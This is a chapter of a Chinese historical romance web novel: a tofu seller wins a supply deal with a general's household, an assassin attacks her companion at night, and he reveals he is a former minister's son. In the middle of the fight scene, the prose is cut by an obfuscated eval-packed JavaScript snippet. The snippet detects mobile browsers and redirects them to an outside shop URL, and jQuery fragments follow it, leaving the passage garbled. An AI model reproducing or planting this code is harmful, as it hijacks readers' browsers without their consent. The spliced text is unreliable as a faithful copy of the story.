那管家模样的男人摆了摆手，目光从她身上从上到下打量了一番，慢条斯理道：“豆腐卖完了不打紧。我今日来，是替主家传句话。”


    “我家主人尝过你做的豆腐，很是中意。往后，你这铺子每逢初一、初七、十五、二十五这几日，做出的豆腐便不要外卖了，全数送到城东将军府去。价格么，按你市价的双倍算，绝不短少你分文。”


    将军府？


    姜莲姝听到这个名字，内心有些紧张，却并未表现在面上。将军府那是何等显赫的门第？双倍的价格，更是她往日想都不敢想的厚利。能够给将军府供货，日后她的生意，甚至在京城站稳脚跟，都多了不少底气。


    她面上却未露太多喜色，故作犹豫，斟酌着字句：“承蒙贵府抬爱。只是小铺本小利薄，每日所出有限，若固定四日全数供应贵府，只怕其他老主顾……”


    “那些散客，让他们改日再来便是。”管家截断她的话，语气里满是骄傲的味道：“将军府的差事，多少人求都求不来。姜娘子，这可是天大的体面，也是你手艺好，才得这份造化。主家说了，就看中你这独一份的口感，旁的铺子还入不了眼。”


    他左右看了看这简陋的铺面，凑到姜莲姝跟前，压低声音意有所指，“而且有了将军府这层关系，往后在京里，行事也便宜些。”


    最后那句话，轻轻巧巧，姜莲姝听懂了其中的意思。在京城这地界，无权无势，做点小生意何其艰难。若能得将军府青眼，哪怕只是采购些吃食，也是一重无形的庇护，至少，像王家那样敢明目张胆欺上门来的地头蛇，须得掂量掂量。


    管家既已这么说，姜莲姝若是再拒绝，便显得不懂事了。她终于抬起头，那管家竟有些不敢直视她的眼睛。


    “贵府厚意，民女感激不尽。只是不知，这豆腐要如何送去？府上可有什么忌讳或要求？”来京城的路上，崔怀瑜教了她一些礼数，尤其是面对一下达官显贵。姜莲姝记在心里，没想到就用上了。


    见她应下，管家脸上露出一丝满意的笑容，语气也缓和了些：“辰时之前，将豆腐送到将军府西角门，自有人接应。豆腐须得是当日新做的，新鲜干净。至于忌讳么……”他又看了姜莲姝一眼，“府里女眷多，往后送豆腐，姜娘子亲自送来便是，免得底下人粗手笨脚，惊扰了内眷。可记住了？”


    “民女记下了。”姜莲姝微微俯身。


    管家点点头：“若是来送豆腐遭人为难，尽管提我的名字，我叫洪盛，在将军府也算有几分薄面。”说完，不再多言，转身离去，背影很快消失在人流中。


    姜莲姝慢慢擦干净最后一点水渍，将抹布晾起。午后的阳光透过窄小的窗棂，斜斜照在空了的豆腐板上。这突如其来的好事，好得几乎有些不真实。她轻轻吐出一口气，或许，真是姜家的豆种和她磨豆腐的手艺，合了贵人的口味吧。京城这么大，奇人异事多，将军府尝遍山珍海味，想换些清口的乡野滋味，也是有的。


    回到小院的时候，崔怀瑜正坐在井台边的小凳上，就着天光看书，听见响动，抬起头来。


    “回来了？”他合上书卷，起身相迎。


    “嗯。”姜莲姝将木桶放下，走到他身边，很自然地把将军府之事，原原本本说了一遍。


    崔怀瑜静静的听着，当听到“将军府”的时候，饶是崔怀瑜的沉稳，心头也不免触动。姜莲姝卖豆腐不过几日，便和将军府扯上了关系，虽然只是简单的供货。是巧合吗？他在心里问自己。


    “双倍价格，固定采买，是桩好买卖。”他缓缓道，声音听不出太多情绪，“只是听说将军府门第森严，往来送东西，需得格外谨慎，莫要冲撞了。”


    “我晓得。”姜莲姝点头，显然很开心，“那位管家说了，让我亲自送去，免得底下人惊扰内眷。”


    亲自送去……


    崔怀瑜沉默了片刻，才道：“京城居，大不易。有此机缘，自是好事。”


    “我也是这么觉得，初入京城，竟能做上将军府的生意，你就安心读书，我养得起你。”说完，姜莲姝便发觉自己有些失态，或许是压抑了太久的情绪在此刻得到了释放，或许是远离了王家那伙地痞流氓让她不用再故作坚强。


    幸好崔怀瑜只是看着她笑。


    “我去做饭……”姜莲姝脸有点红了，跑进灶房。


    京城的秋意一日浓过一日，秋风卷起街角的落叶，打着旋儿，又被匆匆而过的行人踩碎。


    姜莲姝的“姜记豆腐”在西市渐渐有了名气，引得一些讲究吃食的人家也慕名前来。铺面依旧狭小，却总在晌午前便干干净净地售罄。去将军府送豆腐成了惯例。每月逢那四日，她总在辰时前赶到城东那座朱门高墙的府邸西角门。


    门房是个不苟言笑的老妪，验看无误后便默默接过豆腐篮，递过用红绳串好的铜钱，从不多话。姜莲姝也总是低着眼，递上东西，收好钱，行一礼便转身离开，从未逾矩多看一眼，多问一句。


    只是偶尔，在等待门房清点的片刻，她能听见高墙内隐约传来的丝竹声，或是女子娇柔的说笑声，那是与她所处的市井截然不同的另一个世界。她听着，心里并无波澜，只默默计算着今日又能多攒下几枚铜钱。


    科举之期迫在眉睫，他几乎足不出户，整日埋首于经史子集之间。小院安静得只能听见他的读书声。姜莲姝尽量放轻动作，不打扰他，只在三餐时备好简单的饭食，放在他书案上。


    京城街头的盘查也因为京城考生越来越多而变得严密，进出城门的车队行人，都要被细细查验。连他们这偏远的城郊聚居地，白日里也有衙役挨户询问。每遇查验，崔怀瑜都紧张不已，甚至下意识的躲闪。


    她知道，这不是无缘无故。只是他不说，她便不问。这是离开秋水镇时便定下的。可这根疑惑的刺，终究是扎在了心里，随着时间推移，越陷越深。


    夜深了。


    崔怀瑜终于吹熄了灯，在堂屋临时搭起的板床上和衣躺下。月光被浓云遮住，屋里一片漆黑。他睁着眼，听着屋内姜莲姝已无了声响，过了许久，才渐渐合上眼皮。


    不知过了多久，一声轻微的“喀嚓”声，像树枝被踩断，又像瓦片松动。崔怀瑜几乎是瞬间睁开了眼，全身肌肉骤然绷紧。他没有动，只是屏住呼吸，耳朵捕捉着窗外动静。


    风似乎停了。万籁俱寂，崔怀瑜反而觉得格外瘆人。


    屋外有人。


    来了。


    这个念头刚闪过，窗户骤然破裂！一道黑影掠入，手中小刀直刺床榻！


    崔怀瑜在黑影破窗的刹那已翻身滚落床下，顺手抄起枕下藏着的匕首。寒光贴着他肩头擦过，带起一阵冷风。


    “什么人！”他低喝一声，匕首横扫，


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17320433|198948||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    逼开对方再次刺来的小刀。金属交击，在暗夜里迸出几点火星。


    姜莲姝被惊醒，迅速点燃了油灯，只见黑暗中两道身影已缠斗在一处。


    她心头狂跳，手下意识摸向枕边，那里有她从秋水镇带来的小刀。


    黑影身手了得，招招狠辣，直取要害。崔怀瑜仗着对屋内布局熟悉，且战且退，将对方引向门边狭窄处，限制其施展。


    “娘子，走！”他趁隙低吼，声音因发力而嘶哑。


    就在崔怀瑜一个侧身避开直刺，匕首顺势划向对方手腕时，那黑影竟不闪不避，拼着硬挨一记，左手寒光一闪，一枚飞镖疾射而出，方向却是朝着姜莲姝所在的床榻！


    “小心！”崔怀瑜目眦欲裂，回救已是不及。


    姜莲姝只觉耳边一道凉风掠过，飞镖“夺”地一声钉入她头侧的土墙，尾羽犹自震颤。幸是偏了几分，她惊出一身冷汗。这一分神，崔怀瑜肋下空门大开。黑影抓住机会，刀锋直刺而来！


    崔怀瑜急退，却已慢了一步。刀尖划过他左臂，衣裳撕裂声响起，随即是皮肉被割开，鲜血喷出，屋内充满血腥味。他闷哼一声，脚下踉跄，手中匕首脱手。


    黑影得势，刀光再起，直取咽喉。


    千钧一发之际，姜莲姝不知哪来的勇气，将手中匕首用尽全力朝那黑影掷去！夜里不好辨认方向，姜莲姝掷出去的匕首直直的刺入了那黑影的右手上臂。黑影吃痛，动作一滞，随即怒吼着又想朝姜莲姝攻去。


    可此时崔怀瑜已捡起掉地的匕首，用未受伤的左手，用尽全身力气，狠狠的刺向对方。匕首歪了一分，只刺入大腿。


    “呃啊——”黑影发出一声痛呼，攻势顿止。


    见再无法得手，黑影猛的窜出小院，奔逃而去。


    崔怀瑜也不敢多留，怕另有其他伏兵。拉起惊魂未定的姜莲姝：“走！”


    两人撞开房门，没有回头，也顾不得拿任何东西，只朝着与进城相反、更偏僻的野地狂奔。夜风如刀，刮在脸上生疼。崔怀瑜左臂的伤口鲜血直流，洇湿了半边衣裳，血腥味散开。姜莲姝扶着他，能感觉到他喘息声越来越重。


    不知跑了多久，直到身后再无动静，远处村落连犬吠都听不见了，两人才在一处背风的土坡后停下，瘫倒在地。


    崔怀瑜靠着土坡，剧烈地咳嗽起来，每咳一下，左臂的伤口就涌出更多的血。月光撒下，照见他惨白的脸和身上其他细小伤口。其中属手臂上那一道伤口最深。


    姜莲姝撕下自己内衫的干净里衬，手忙脚乱地替他包扎。布条很快被血浸透，她又撕下更多。直到血流没那么快了，姜莲姝才瘫坐在地，止不住地颤抖。


    “他们……是冲你来的。”她终于开口。


    崔怀瑜闭上眼，半晌，才极轻地“嗯”了一声。


    “为什么？”姜莲姝抬起头，月光下，她的眼睛亮得惊人，眼神里满是后怕。名义上，崔怀瑜是她在这个世界上仅剩的亲人。要是他有个三长两短，自己真不知道该如何是好。


    她终于把压抑了许久的问题说了出来：“崔怀瑜，你到底是什么人？为什么你那么怕官兵，还有刺客来刺杀你……你告诉我！”


    寂静。只有风声呜咽。


    良久，崔怀瑜缓缓睁开眼，望向漆黑的天空，发出一声长长的叹息：“我……是前户部尚书崔松之子。”